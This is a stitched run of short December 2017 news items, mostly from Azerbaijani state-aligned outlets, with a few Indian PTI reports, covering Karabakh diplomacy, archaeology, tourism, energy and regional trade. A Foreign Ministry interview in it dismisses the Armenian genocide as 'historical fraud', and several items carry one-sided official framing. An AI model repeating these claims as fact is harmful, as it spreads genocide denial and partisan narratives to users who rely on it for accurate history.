"The terrorists continued firing on the security forces which was retaliated. Two Jaish-e-Mohammad terrorists were killed in this encounter and were identified as Tanveer Ahmad from Bata Murran, Shopian, and Ali alias Qari, a foreigner. Two AK rifles and other allied ammunition were recovered from the encounter site," he said.

The spokesman said that another terrorist fled from the encounter site taking advantage of the darkness.

"During cross-firing, one lady identified as Ruby, wife of Manzoor Ahmad Mir was critically injured. She later succumbed to injuries at district hospital Pulwama," he added.

The official said that nine civilians were injured adding their condition was said to be stable. PTI MIJ ADS

--- ENDS ---
19 December 2017 16:12 (UTC+04:00)

By Aygul Salmanova

A golden necklace considered to be the oldest golden jewel in the Caucasus was found in of the most ancient parts of Azerbaijan, Nakhchivan.

The necklace belonging to Nakhchivan national costume collection was found in an ancient settlement located in Sharur region during the excavations carried out jointly by the Nakhchivan Branch of the Azerbaijan National Academy of Sciences and the French National Research Center.

Head of the Department of Fine and Decorative Arts of the Art, Language and Literature Institute of the Nakhchivan Branch of ANAS, Fizza Guliyeva said that this art work, which is the oldest golden jewel in the Caucasus, is a new page in the history of Caucasian archeology, ethnography, decorative-applied art, in particular in the Azerbaijani jewelry art and national clothing culture.

Researchers refer the Golden Neck to the Last Eneolithic Age. The necklace is included in the group of pendants with hook-shaped end, which are characteristic for the ancient period. The whitish yellow necklace is 6 millimeters in diameter and 18 centimeters wide. The necklace has six smaller holes, which further improves its aesthetic appearance.

The region abounds with historical monuments, including ancient Gamigaya, Farhad house, Ajhabi-Kahf, Yusuf ibn Kuseyr tomb,Tomb of the Gulistan, Khanagah tomb, Qazanchi bridge, Nakhchivan Juma Mosque, and Geysariyya monument.

Monuments of material culture, rock paintings and petroglyphs of Gyamigaya, a huge number of artifacts discovered by archaeologists in fortresses and ancient settlements, as well as the ancient land structures allow experts to talk about the identity and unique culture of this region.

Today there are more than 1,500 historical and cultural monuments in Nakhchivan, of which about sixty have the status of world significance. Traces of the Stone Age era are found in the caves of Gazma, Askhabi-Kyahf and Kilid.

At the end of the 4th - beginning of the 2nd millennium BC fortress cities such as Oglangala, Karabaglar, Chalhangala and Govurgala were found in the territory of Nakhchivan. Monuments of fine art like the rock paintings of Gyamigaya reflect the way of life and the religious and ideological outlook of ancient tribes inhabiting there.

One of the significant monuments not only in Nakhchivan, but also in the entire Kura-Araz culture, is the Gultepe 1 mound. The last archaeological excavations on it, as well as in Maht, Ovchulartep, Dasharh, burial mounds of Garabulag, etc., gave the richest material on which it is possible to trace all aspects of life of the ancient tribes inhabiting in this region and to find connections not only with neighboring regions but also distant countries.

During the excavations near Gultepe 1 and the Shorsu Lake basin, which was conducted with the financial support of the Science Development Foundation under the President of Azerbaijan, more than twenty important artifacts were discovered - archaeological monuments dating back to the Neolithic and Eneolithic period.

It is also worth mentioning that the first million from the state for excavations was allocated specifically for investigations in Nakhchivan. It is no coincidence, therefore, that of the forty archeological expeditions that are constantly working in the field today, about ten are in Nakhchivan. And ten years ago, in 2005, all archaeological monuments of the region passed certification.

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19 December 2017 10:11 (UTC+04:00)

Trends interview with Spokesman of the Azerbaijani Foreign Ministry Hikmat Hajiyev

Question: On December 16, the Armenian foreign minister made a statement in which he put unjustified accusations against Azerbaijan and Turkey. What can you say about this?

Answer: The statement of the Armenian Foreign Ministry once again shows that Armenia doesnt want civilized relations with its neighbors and still resorts to archaic thinking. Unfortunately, instead of establishing good relations with neighbor countries after gaining independence, Armenia put forward territorial claims against them on the basis of the Great Armenia mythical ideology.

As a consequence of this policy, Armenia launched a war against Azerbaijan, occupied 20 percent of Azerbaijans territories, and committed bloody ethnic cleansing against more than one million Azerbaijanis living in Armenia and in the occupied territories. Open territorial claims against Turkey are put forward in the Armenian constitution. The controversial and mythical ideology of Armenian Highlands stipulates territorial claims against neighboring Iran and Georgia.

As a consequence of this feudal and fascist policy, today Armenia is a country that has isolated itself in the region. One cannot even imagine Armenia as an independent country. During Serzh Sargsyans presidency, Armenias self-isolation has worsened. The countrys external debt exceeded GDP by several times. The country is in a social, economic and demographic crisis.

In such a situation trying to show Azerbaijan and Turkey as Armenias enemies, the Armenian ruling regime tries to deceive the people of Armenia.

Q.: The statement of the Armenian Foreign Ministry alleges that there is no resolution for the Armenia-Azerbaijan Nagorno-Karabakh conflict.

A.: This does not lend itself to any explanation. In accordance with Article 4 of the UN Charter, all states should refrain from harassing and using force in any way incompatible with UNs purposes against the territorial integrity and political independence of another state. Despite its commitment to the Charter of the United Nations, Armenia used military aggression against Azerbaijan.

Resolutions 822 (1993), 853 (1993), 874 (1993) and 884 (1993) of the UN Security Council on the Armenia-Azerbaijan Nagorno-Karabakh conflict draw the legal framework for political process in the conflict settlement based on international law, including the relevant principles of international humanitarian law.

The resolutions condemn the occupation of Azerbaijani territories, stress the inadmissibility of using force, reaffirm the territorial integrity, sovereignty and inviolability of the borders of Azerbaijan, and demand the immediate, complete and unconditional withdrawal of the occupying forces. The decisions of the UN Security Council have no time limits. These resolutions are relevant and on the agenda. No state has the right to distort or reduce the role of the UN Security Council resolutions. The UN Security Council resolutions grant mandate to the OSCE Minsk Group co-chairs. Rejecting the resolutions translates into rejecting the OSCE Minsk Group co-chair mandate.

Under a document on the mandate of the OSCE Minsk Group, dated March 23, 1995, the co-chairs should base their activity on relevant resolutions of the UN Security Council, the decisions of the Budapest summit of the OSCE, and the Helsinki Final Act.

Q.: The statement of the Armenian Foreign Ministry also touches upon the Armenian genocide.

A.: This once again shows that Armenia is a prisoner of a fake past and doesnt look to the future. The so-called Armenian genocide is a vivid example of historical fraud and the use of this fraud for political purposes. It is interesting that the Armenian side refuses to open the historical archives and doesnt allow historians from Turkey and Armenia to objectively investigate this issue.

Armenian diasporas and lobbyists in Western countries, instead of contributing to the development of Armenia's relations with neighbor states, push Armenia to strife and hostility with its neighbors.

Speaking about the so-called Armenian genocide, the Armenian side is trying to keep silence about the atrocities committed by Armenians in Anatolia during the First World War as well as the massacres that were committed in Baku in March 1918, known as the March Massacres. Also, Armenians, who falsified the history of 100 years ago, are trying to escape responsibility for the Khojaly tragedy committed in 1992 with the direct involvement of Armenias political and military leadership.

ASALA terrorists, who committed terror acts against Turkish diplomats in the 1970s and who began terror acts against Azerbaijan in the 1980s, today are national heroes of Armenia. One of them is Monte Melkonian. Another war terrorist, Varoujan Garabedian, who committed a terror act against Turkish Airlines in Orly Airport in Paris in 1983, was freed under uncertain circumstances in France in 2000 and is now living freely in Armenia and is promoted to a national hero.

It is a pity that ethnic hatred against neighboring nations is a state policy in Armenia.

Q.: The Armenian side also points to the closed border between Turkey and Armenia.

A.: Verily Armenia is responsible for the closure of the Armenian-Turkish borders. Based on norms and principles of international law and the UN Charter, Turkey closed its borders to Armenia due to Armenias vivid aggression against Azerbaijan and the occupation of Azerbaijani territories. In particular, this happened immediately after the Armenian military attack to occupy the Kalbajar district of Azerbaijan. The UN Security Council adopted resolution 822 condemning the occupation of Azerbaijans Kalbajar and other territories by Armenia. This fair position of fraternal Turkey is highly appreciated by the Azerbaijani people.

In addition, Armenia puts forward territorial claims and accusations of the so-called genocide against Turkey. The Armenian side is wrong to believe that everyone will turn a blind eye to its aggression, occupation, bloody ethnic cleansing, and unfounded accusations against neighbors. Pakistan, Saudi Arabia, Djibouti and other states have not established diplomatic relations with Armenia in connection with its aggression against Azerbaijan.

Q.: What should be done to ensure lasting peace and security in the region?

A.: Armenia must end occupation and withdraw its troops from the occupied territories of Azerbaijan in accordance with the UN Security Council resolutions, and put an end to unreasonable demands against neighbor states, including Turkey. Armenia should finally establish civilized relations with neighbor states.

The sooner the Armenian leadership understands this reality, the sooner the Armenian population can benefit from better relations with neighbor countries and participation in regional cooperation.

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19 December 2017 11:10 (UTC+04:00)

By Trend

Russia has to work on the Armenia-Azerbaijan Nagorno-Karabakh conflict more effectively, Russian Communist Party leader Gennady Zyuganov told Moscow-Baku information portal.

There are peaceful, rational solutions to the conflict settlement, Zyuganov said. "Let's look for peaceful ways together. Everyone is interested in that."

Russia's policy in the Caucasus, Transcaucasia and Central Asia could be more literate, effective and influential, Zyuganov added. This concerns both relations with Azerbaijan and Armenia, as well as Georgia.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

Zyuganov also commented on the potential of the Russia-Azerbaijan-Iran format.

"Dealing with the Syria issue, Russia, Iran and Turkey could overcome even the biggest disagreements," he said. I hope this best practice will continue. I believe the Russia-Azerbaijan-Iran format will also prove to be stable and effective. There are good prospects in this format on many directions."

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19 December 2017 17:42 (UTC+04:00)

By Rashid Shirinov

The Armenia-Azerbaijan Nagorno-Karabakh conflict always passes through the points of tension, which risk a surge of armed confrontation, Mikhail Neyzhmakov, an analyst in the Russian Agency for Political and Economic Communications, told Day.az on December 19.

One of the most serious such points in 2017 was the aggravation of the situation in the conflict zone in early July amid the tragic death of a woman and a two-year-old girl from the Azerbaijani side, the expert reminded.

On July 4, the Armenian armed forces using mortars and grenade launchers shelled the Alkhanli village of Azerbaijans Fuzuli region, and as a result, residents of the village Sahiba Guliyeva, and her granddaughter Zahra were killed.

It became possible to overcome the points of tension in 2017 also for the reason that the parties themselves were not in the mood for a large-scale conflict under these circumstances, said Neyzhmakov, adding that even a small conflict in Nagorno-Karabakh under these conditions would be extremely unprofitable for their partners and allies.

The expert also noted another aspect of the Karabakh settlement, which is traditionally associated with many inflated expectations  these are attempts to take steps towards a cardinal resolution of the conflict.

Equally traditionally these expectations have not been fulfilled. Intensive diplomatic contacts do not always mean a speedy result, even an intermediate one, said Neyzhmakov.

It is noteworthy that representatives of involved powers did not want to create inflated expectations in the Karabakh issue. For instance, Turkish President Recep Tayyip Erdogan noted in mid-November this year that Russian President Putin has no high hopes on a speedy progress in the Karabakh issue. Some time later, Russian Foreign Minister Sergey Lavrov said in Yerevan that the problem is difficult and the negotiations will not be completed quickly.

Neyzhmakov believes that in 2018, there will also be very significant factors that will further impede progress in the Karabakh talks.

The parties to the conflict will be too self-immersed, and Syria, where some risk factors are increasing, will continue to attract attention of important foreign policy players, the expert said. Against this background, international mediators will pay less attention to the Karabakh conflict in 2018, although new initiatives in this direction are not ruled out.

The Nagorno-Karabakh conflict began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding regions. More than 20,000 Azerbaijanis were killed and over 1 million were displaced as a result of the large-scale hostilities. The 1994 ceasefire agreement was followed by peace negotiations.

Until now, Armenia controls fifth part of Azerbaijans territory and rejects implementing four UN Security Council resolutions on withdrawal of its armed forces from Nagorno-Karabakh and surrounding districts.

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Rashid Shirinov is AzerNews staff journalist, follow him on Twitter: @RashidShirinov

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19 December 2017 10:19 (UTC+04:00)

By Trend

Azerbaijani Foreign Minister Elmar Mammadyarov received Ambassador of the Russian Federation to the Republic of Azerbaijan Vladimir Dorokhin upon the termination of his diplomatic tenure, the Azerbaijani Foreign Ministry told Trend.

During the meeting, the sides expressed satisfaction with the current level of relations and regular exchange of high-level visits between Azerbaijan and Russia.



The ambassador said that he did his best to contribute to strengthening of bilateral relations between Azerbaijan and Russia during his tenure and expressed his hope that the sincere character of the relations would continue and the gained practice would serve to the interests of both states and peoples.

Dorokhin wished success to the government of Azerbaijan in its policy to further stability and progress of Azerbaijan.



Mammadyarov thanked Dorokhin for his contributions to the development of relations between the two countries and wished him every success in his future endeavors.

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19 December 2017 10:53 (UTC+04:00)

By Trend

The new agreement on strategic partnership between the EU and Azerbaijan will bring the sides' cooperation to the next level, Commissioner for European Neighborhood Policy and Enlargement Negotiations Johannes Hahn said.

Hahn made the remarks at the OSCE Permanent Council meeting in Vienna on December 18.

"We are negotiating a new agreement with Azerbaijan, set to bring our cooperation to the next level," Hahn said.

The European Council adopted a mandate for the European Commission and the high representative for foreign affairs and security policy to negotiate, on behalf of the EU and its member states, a comprehensive agreement with Azerbaijan in November 2016.

The new agreement should replace the 1996 partnership and cooperation agreement and should better take account of the shared objectives and challenges the EU and Azerbaijan face today.

The agreement will follow the principles endorsed in the 2015 review of the European Neighborhood Policy and offer a renewed basis for political dialogue and mutually beneficial cooperation between the EU and Azerbaijan.

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19 December 2017 12:10 (UTC+04:00)

By Aygul Salmanova

The chairman of Azerbaijani Parliament Ogtay Asadov met with the president of the Alliance of European Conservatives and Reformists Group, member of the European Parliament Jan Zahradil, who is on a visit to Azerbaijan on December 18.

The meeting was attended by Co-chairman of the European Union-Azerbaijan Parliamentary Cooperation Committee Javanshir Feyziyev, chairman of the United Azerbaijan Popular Front Party Gudrat Hasanguliyev and other officials.

While making remarks at the event, Zahradil stated that despite there was certain misunderstanding in the relations between the European Parliament and Azerbaijan in different periods, a new stage started in bilateral relations.

Asadov congratulated Zahradil on his re-election as the head of the Alliance and underscored the importance of exchanging views during last year's meeting.

The Alliance's relations with the Azerbaijan Popular Front Party and regular meetings of the members of the Azerbaijani delegation with the representatives of the Alliance in the international organizations were appreciated.

Asadov appreciated the objective position of the Alliances members both in PACE and the European Parliament with respect to Azerbaijan.

Azerbaijan is interested in developing all-round cooperation with the EU and its organizations, he said.

Asadov expressed his assurance that the current visit will be important in terms of further intensification of relations.

Zahradil expressed gratification with the visit to Azerbaijan and the meetings held there.

He said that the Alliance and the European Parliament show great interest in this region of the South Caucasus.

The issues of mutual interests were discussed at the meeting.

The relations between the European Parliament and the Azerbaijani Parliament are conducted within the framework of the Delegation of the European Union-Azerbaijan Parliamentary Cooperation Committee in accordance with the Partnership and Cooperation Agreements signed in Luxembourg in 1996 and entered into force in 1999.

The Parliamentary Cooperation Committees for three Caucasian states including Azerbaijan were established in 2004. They manage the parliamentary control over the implementation of the agreements and operate as an open platform for debate on issue of common interest.

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19 December 2017 15:12 (UTC+04:00)

By Aygul Salmanova

Lankaran, one of the most picturesque corners of Azerbaijan distinguished from other cities by its excellent climate and unforgettable delicacies, holds an amazing tea, paddy, and citrus fruits festival.

At the festival held at the Heydar Aliyev Memorial Park and organized by the Lankaran City Executive Power, the delicacies of the city are being exhibited in the pavilions such as "Our tea has a name", "Lankarani sweets - our taste", "We gather beauty drop by drop", "Build new Lankaran", "Who wants to live in paradise, come to Lankaran" and other.

Participants of the festival have the opportunity to get acquainted with the varieties of tea in Lankaran, learn how to breed the true natural tea, taste dishes made of more than 50 varieties of rice such as "Hashimi", "Sadri", "Campo", as well as other delicious dishes of Lankaran cuisine - poultry and fish dishes.

Other products produced in Lankaran and folk art samples are exhibited at the pavilions opened along the park.

A concert with famous masters performance will be held at the end of the festival.

If you ask an Azerbaijani about the most fruitful region of his country, he/she will probably name Lankaran. The agriculture of the region is mostly known for its citrus and subtropical fruit-growing, and it is no coincidence that Lankaran is called the land of citrus plants, such as oranges, tangerines, lemons, and others.

True miracles of nature are waiting for everyone who will visit this part of Azerbaijan. Most people would think: what is unusual about the bushes of tea? This is how many of the guests of the country think until they step on the ground of Lankaran and see the endless plantations of tea bushes.

Tea plantations in the valleys of Lankaran await guests who can enjoy the magnificent scenery, the beauty of the mountains and valleys, the cordiality and hospitality of the locals. And be sure to taste Azerbaijani tea, which will give cheerfulness and health.

Lankaran is still famous for its paddy production. The fragrant Lankaran rice has been the most valuable food for locals for centuries. Rice products of Sadri, Anbarbu, Hashemi, Hasani, Akulya and other sorts of rice are distinguished with their aroma, taste and abundance.

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19 December 2017 17:34 (UTC+04:00)

By Sara Israfilbayova

Baku held a regular meeting of the American Chamber of Commerce (AmCham) on December 19.

Addressing the meeting, Ramin Guluzade, minister of transport, communications and high technologies, said that the Ministry is starting construction of a reserve DATA-center for AzInTelecom LLC, which will be based in Azerbaijans Yevlakh region.

Earlier, AzInTelecom LLC said the new DATA-center will make it possible to reserve data placed in the main DATA-center.

The reserve DATA-center will be commissioned before the end of the first half of 2018. Presently, the necessary equipment is being purchased.

Answering the question about the ministrys plans to ensure security of personal data at the level of global vendors (LinkedIn, Facebook, WhatsApp, etc.) he stressed that the Ministry of Transport, Communications and High Technologies of Azerbaijan is a structure responsible for security of IT users in the country.

Earlier, the Ministry reported that it was in talks with international companies [Facebook, Google, Apple] regarding their usage of the resources of the DATA-center of AzInTelecom LLC.

The DATA-center of AzInTelecom LLC has ample opportunities, in particular in rendering services to both government departments and business structures.

Further, touching upon Azerspace 2, Guluzade noted that its construction, the second telecommunications satellite of Azerbaijan, is being conducted according to the plan, adding that launch of the satellite is scheduled for mid-2018.

The satellite will be launched from the Kourou space center using the Ariane 5 ECA launch vehicle.

French company Arianespace, which earlier launched Azerbaijan's first satellite Azerspace/Africasat-1a, will send the Azerspace-2/Intelsat-38 into the orbit.

The satellite's manufacturer is Space Systems Loral (SSL), which is also a provider of satellite control systems.

The minister went on to say that free Wi-Fi has already covered more than 20 parks in Baku and added that the project is of social nature and is intended to provide citizens and guests of the capital with access to the internet.

Deployment of wireless Wi-Fi points in the territory of Baku is handled by Baku Telephone Communication LLC. Work to expand the coverage of the wireless Internet network has been ongoing since March as part of the project Public Wi-Fi. The goal of the project is to provide residents and guests of the capital with access to the Internet in public places.

Speaking of new generation identity cards, the minister said that issuance will start in 2019.

Guluzade added that in the new IDs the integration of the electronic signature is envisaged.

Microsoft is involved in the project, which became the winner of the previously announced tender, he explained.

To date, work to adapt the infrastructure of new generation ID cards to the national certification services center has been completed. The specialists of the center conducted tests to determine their parameters and software, with the help of which it will be possible to make e-signature certificates in identity cards.

Also within the framework of the project, the integration of personal data into IDs is being tested. The list of personal data that will be entered in the identity card is already approved.

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19 December 2017 14:35 (UTC+04:00)

By Sara Israfilbayova

The expansion of the Sangachal oil and gas terminal within the Shah Deniz 2 project is nearing completion.

The statement came from Energy Minister, Parviz Shahbazov, who visited the terminal, where he got acquainted with the activities of the Cnub power plant with a capacity of 780 megawatts during the visit to Shirvan.

Shahbazov also observed the work of ATEF Group of Companies, which is engaged in the production of heavy oil and gas transformers, according to the Ministry.

Then the minister also visited the Sangachal terminal, the area of which has been extended for Shah Deniz 2, and was informed that work on the terminal territory is at stage of completion, and conditions have been created for processing of additional 16 bn cum of gas.

Shahbazov also acquainted with progress of work and gave relevant instructions at the Baku Thermal Power Center.

The Sangachal terminal, which is located about 45 km to the south of Baku, forms the central point for the collection, processing and export of the gas produced at the Shah Deniz field, in addition to the oil produced at the Azeri-Chirag-Gunashli (ACG) block.

The area of the Sangachal terminal is 550 hectares. The processing capacity at the terminal is more than 1.2 million barrels per day of crude oil and over 40 million cubic meters of gas.

The volume of stored crude oil is 3.2 million barrels.

Expansion work, carried out at Shah Deniz 2, will allow the processing of an additional 16 billion cubic meters of gas per year.

Shah Deniz Stage 2 is a giant project that will add a further 16 billion cubic meters per year (bcma) of gas production to the approximately 9 bcma produced by Shah Deniz Stage 1.

Shah Deniz Stage 2, one of the largest gas developments in the world, will help increase European energy security by bringing Caspian gas resources to markets in Europe for the very first time. Shah Deniz gas will travel 3,500 kilometres, to elevations of over 2,500 metres, and over 800 metres below the sea.

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By PTI: Nashik, Dec 19 (PTI) Two persons, including a boy were today killed and 35 others injured, when the mini-truck they were travelling in, overturned on the Mumbai-Agra national highway, police said.

The mini-truck, carrying a marriage party, overturned near Waldevi-Bridge at Wadivhare village this afternoon, a senior police official said.

The deceased have been identified as Gopal Pawar (25) and Kartik Mali (5).

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The driver lost control over the vehicle after which it skidded off the road and overturned, he said, adding the injured were admitted to the Nashik civil hospital.

In a separate incident, a 26-year-old bridegroom Nilesh Dhivare was killed in a road mishap last night here, police said. PTI HVJ NRB

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19 December 2017 11:00 (UTC+04:00)

By Trend

Turkish President Recep Tayyip Erdogan and U.K. Prime Minister Theresa May had a phone conversation late Monday, according to presidential sources, Turkish media reported.

The two leaders discussed the recent developments on Jerusalem and bilateral relations, said the Turkish sources, who spoke on the condition of anonymity due to restrictions on talking to media.

They spoke about the U.S veto of the UN Security Council resolution that rejected the establishment of diplomatic facilities in the city of Jerusalem.

They said new tensions that could put the peace process in the region at risk needed to be avoided, emphasizing the role of the international community.

Erdogan and May also highlighted that the two countries were pleased with the improved cooperation between the U.K. and Turkey, especially in the defense industry.

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19 December 2017 11:57 (UTC+04:00)

By Trend

Uzbek President Shavkat Mirziyoyev has adopted a resolution on the introduction of a new procedure for financing the state development programs.

According to the document, Uzbekistan implements the procedure for the implementation of projects, including the development of regions and sectors of the economy, financed on the basis of state development programs approved by the president.

The Fund for Financing State Development Programs of the Republic of Uzbekistan will be established under the Cabinet of Ministers.

The projects, included in the state development programs, will be financed exclusively through the Fund. Its funds are accumulated on the accounts in the Central Bank of the Republic of Uzbekistan.

Executive Director of the Fund is Deputy Prime Minister of the Republic of Uzbekistan - Head of the Complex for Investment, Innovative Development, Coordination of Free Economic and Small Industrial Zones, and Tourism.

The State Investment Committee of the Prime Minister of the Republic of Uzbekistan coordinates the work on development and implementation of state development programs.

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19 December 2017 18:09 (UTC+04:00)

By Trend

Kyrgyzstan has restored the power supply line to the settlement "Yoshlik" located on the territory adjacent to the Kasansay reservoir.

"Uzbek citizens, who are residents of "Yoshlik" settlement located on the territory adjacent to the Kasansay reservoir, will meet the new 2018 year with the bright light of electricity and heat," the Uzbek Foreign Ministry said on Deceber 19.

The power line to the settlement was restored upon the personal instructions of the Kyrgyz president on Dec.18, the foreign ministry added.

This became possible following the implementation of the agreements reached between Uzbek President Shavkat Mirziyoyev and President of Kyrgyzstan Sooronbay Jeenbekov during the high-level talks on Dec. 13-14, 2017 in Tashkent.

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19 December 2017 17:30 (UTC+04:00)

By Azer Ahmadbayli/ Trend

Despite the fact that the EU has recently become Irans third biggest trade partner since signing the nuclear agreement in 2015, the latter is not fully convinced that Europe will refuse to join the possible fresh US sanctions imposed under another pretext  to curb its missile development program, in the first place.

In this regard Paris has already expressed its position, which is close to that of the White House.

Also, Iran doesnt see full-fledged effect of economic interaction with the EU, particularly what concerns the banking ties. Move of the EU to the third spot among Iran's trade partners is explained mainly by purchases of oil from Iran.

Iran used to trade traditionally with Europe (excluding its south-eastern Asia partners), but the countrys national interests and current political risks making Iran beware of being driven into the international isolation once again oblige it, temporary or for a long time, to get closer with countries, which earlier havent been considered its good trade partners.

It seems that Iranian Neighbors are priority policy declared not so long ago by top Iranian officials has been aimed specifically for this purpose.

Irans closest neighbors  Iraq, the United Arab Emirates, Turkey and Afghanistan are among top trade partners of the Islamic Republic.

Reinforcing economic relations with Russia, Azerbaijan and Central Asia states also could help protect the countrys economy from heavy blows of sanctions if imposed.

There are many examples of Irans turn to new (if we can call it that) trade and cooperation destinations. Let's have a deeper look.

Azerbaijan

Trade between Iran and Azerbaijan has increased by 33 percent in the first nine months of 2017, compared to the same period in 2016, President of Azerbaijan Ilham Aliyev stressed during the trilateral summit in Tehran in November. About 450 companies with Iranian capital operate in Azerbaijan.

Proposals to set up the Azerbaijani-Iranian Chamber of Commerce, setting up special economic zone in Iranian border city of Astara, power generation (Khudaferin-Giz Galasi agreement on joint hydropower plant), acceleration in construction of a joint pharmaceutical plant near Baku, establishing a joint venture for the production of agricultural machinery and other issues will be discussed in a few days at the 12th meeting of the Azerbaijan-Iran intergovernmental commission for economic, trade and humanitarian cooperation.

A joint car plant with participation of Azerbaijans AzEuroCar LLC and Iran Khodro is planned to be inaugurated in Azerbaijans Neftchala Industrial District in the coming weeks.

In December, Irans startup Asanbar and the Baku-based Avirtel inked the MoU on the sidelines of Bakutel-2017, Azerbaijan International Exhibition and Conference on Telecommunications and IT. The MoU aims to facilitate trade ties between the two counties particularly in the field of transportation.

Central Asia

Iran has a growing part to play in meeting the landlocked Central Asian countries needs to access the ocean. Newly inaugurated Iranian port of Chabahar could serve as a transit hub for Central Asian goods going for export.

Two years after Iran connected its railroad with Central Asia, the Central Asian countries have dominated the rail transit through Iran with a share of over 90 percent.

Over 960,000 tons of goods were transited through Iranian railways during the first eight months of the current fiscal year (started March 20). Over 770,000 tons of the goods transited by Iranian railroads belong to the Central Asian countries, 80 percent more year-on-year.

Some 580,000 tons of transited goods in the period were loaded from Turkmenistan, which is equal to 60 percent of the total cargo transited via Iranian railroads. Uzbekistan with a 33 percent share stood at second place, followed by Tajikistan.

Uzbekistan and Kazakhstan have recently signed several documents with Iran in several areas, including supplies of oil, transportation, food processing, joint production of agricultural products etc.

Russia

During the recent visit of Alexey Miller, Chairman of Gazprom Management Committee to Tehran, Irans National Iranian Oil Company and Russias Gazprom have signed cooperation agreement. Pursuant to the document, Gazprom will conduct a proof-of-concept study with regard to implementing integrated projects for hydrocarbon production, transmission and processing, including petrochemistry, in Iran's territory.

The sides also signed a Memorandum of Understanding to explore the opportunities for joint efforts within the Iran LNG project.

Iran Railways signed a contract with OJSC Export Insurance Agency of Russia for financing a joint project for manufacturing rail transportation related equipment. The deal is worth 3 billion euros. Under the contract, the two sides agreed to make joint investment within a five-year period for manufacturing passenger and freight rail cars as well as locomotives and other equipment by Iranian and Russian firms in Iran.

The first phase of the contract covers joint manufacture of 6,000 freight cars through funding from the Russian side.

In November, Irans biggest trade center Iranian Trade House was inaugurated in the Russian Caspian port of Astrakhan. The city is a center for commercial activities of nearly 200 Iranian companies which has turned it to the largest center of Iranians economic activities in Russia.

Last week representatives of Altai region  one of the federal subjects of Russian Federation  and Iran signed a memorandum of understanding to strengthen mutual cooperation in economic ties, research and technology.

Regional triangles

In addition to bilateral ties, two regional triangles have been formed in recent times to enhance economic and security cooperation  Iran, Azerbaijan, Turkey and Iran, Azerbaijan, Russia.

The first will have its 5th trilateral meeting held on December 20 in Baku.

The second is even more noticeable, core of which is based on the North-South joint project aiming at building a transportation route to deliver goods from India to Northern Europe.

On December 25, commissioning of the (Azerbaijans) Astara - (Irans) Astara railway as part of the International North-South Transport Corridor project is expected.

All the events, facts and figures described above refer to only last month or two. Iran demonstrates remarkable energy in establishment of new economic ties. Therefore, it looks quite real that Iran will be ready to promptly re-format priorities of its economic partnership if Europe backs down under the US pressure.

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19 December 2017 15:38 (UTC+04:00)

By Aygul Salmanova

It is difficult to imagine something more complex, heterogeneous and multi-component for description than the sights that Azerbaijan has. It has Baku, city of winds, one of the worlds most beautiful cities located at the crossroads of Europe and Asia. It has Ganja, once a capital city with its amazing spirit and refined architecture. It has Sheki, one of the most ancient cities of the country, member of the UNESCO Creative Cities Network. The country is so diverse that everyone will find here something interesting.

In recent years, tourism has become one of the leading sectors of the non-oil sector of the Azerbaijani economy, said Deputy Minister of Culture and Tourism Nazim Samadov.

The state support, attention and care shown on the tourism sector, gave the positive results, according to Samadov, who noted that for 11 months of this year, the number of tourists increased by 20 percent.

The deputy minister also added that foreign tourists who arrived in Azerbaijan spent $1.3 billion, while Azerbaijani tourists spent $1.2 billion abroad. Samadov noted that the positive balance was $100 million, which can be regarded positively.

The number of foreigners visiting Azerbaijan during the first 11 months of this year was 2,477,908 people.

The top 10 list of countries sending tourists to Azerbaijan includes Russia Federation (790,258), Georgia (488,269), Iran (340,702), Turkey (275,147), UAE (87,215), Iraq (58,259), Ukraine (53,583), Kazakhstan (33,439), Saudi Arabia (32,644), and United Kingdom (29,828).

In the total number of foreign citizens coming to the country this year the specific share of citizens of Russia, Georgia, Iran, Turkey and UAE was more compared to remaining countries being 31.8, 19.7, 13.7, 11.1 and 3.5 percent respectively.

The highest number of tourists visiting the country was observed in July (313, 515 people).

Compared with the same period of the last year, the countries with the main growth rates this year were Iran, UAE and Russia. Thus, 117,556 more people from Iran, 44,558 from UAE and 105,020 more people from Russia arrived in Azerbaijan this year.

For the first 11 months of the year 2016, the number of foreign tourists arriving in Azerbaijan was 2,064,224 people, and in November - 169,427. Compared to the same period of the previous year, some 413,684 more people came to Azerbaijan in the first 11 months of the current year, and only in November 31,877 more foreigners arrived in the Land of Fire.

Azerbaijan, situated on the Great Silk Road, and divided partially between Eastern Europe and Western Asia, blended the best from both cultures, forming its own unique rich culture, which attracts more and more tourists to the country.

A sharp increase in number of tourists cannot but rejoice both the economy and the inhabitants of Azerbaijan, also known as the Land of Fires.

Hotels, restaurants, recreation areas, and shopping centers filled up with foreigners and this shows the interest of tourists in a newly chosen destination.

The state pays much attention to tourism sector and Strategic Roadmap for the Development of the Tourism Industry approved in 2016 stipulates a number of measures for achieving great steps in this area.

While a number of tourist facilities have been built in the regions, and cultural and historical reserves have been set up or restored.

Thanks to all these, the country has improved its tourism performance in the Travel and Tourism Competitiveness Report 2017 released by experts of the World Economic Forum (WEF).

The country is placed 71st among the most improved economies in 2017, rising 13 spots in the global ranking.

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19 December 2017 10:23 (UTC+04:00)

By Trend

In recent years, tourism has become one of the leading spheres of the non-oil sector of Azerbaijans economy, the countrys Deputy Minister of Culture and Tourism Nazim Samadov said Dec. 18 in Baku at an event dedicated to the International Migrants Day.

He noted that the Azerbaijani presidents support, attention and care for the tourism sphere yielded results.

Samadov noted that for 11 months of this year, the number of tourists amounted to more than 2,477 people, which is 20 percent more than during the same period last year.

He also added that foreign tourists who arrived in Azerbaijan spent $1.3 billion in the country, and tourists who left Azerbaijan spent $1.2 billion abroad. The surplus amounted to $100 million, and this may be regarded as a positive fact, he said.

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Communique de Presse - Ooredoo announced the launch of one of the first 5G Speed Experiences available anywhere in the world, in various areas of Doha, for a select number of customers.





